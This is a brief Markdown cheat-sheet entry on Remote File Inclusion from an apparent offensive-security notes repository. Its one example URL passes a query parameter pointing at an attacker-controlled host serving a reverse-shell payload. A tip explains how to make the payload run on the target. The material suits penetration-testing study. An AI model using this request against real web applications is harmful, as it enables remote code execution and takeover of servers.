killchain-compendium/Exploits/Web/Remote File Inclusion.md

10 lines
317 B
Markdown
Raw Normal View History

2022-11-13 22:38:01 +01:00
# Remote File Inclusion
## Usage
* Use a GET query parameter to include an attacker URL.
```sh
https://test.com/files.php?file=http://<attacker-IP>:<attacker-Port>/reverse_shell.txt
```
* Payload may be PHP for example, but should not end in executable file extensions. The payload is executed locally, otherwise.